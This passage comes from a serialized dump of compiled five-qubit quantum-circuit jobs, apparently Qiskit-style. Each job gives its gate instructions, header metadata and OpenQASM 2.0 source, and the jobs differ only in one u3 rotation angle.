q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0.2, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.2', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1191', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.200000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0.30000000000000004, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.3', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1193', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.300000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0.4, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.4', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1195', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.400000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0.5, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.5', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1197', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.500000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) 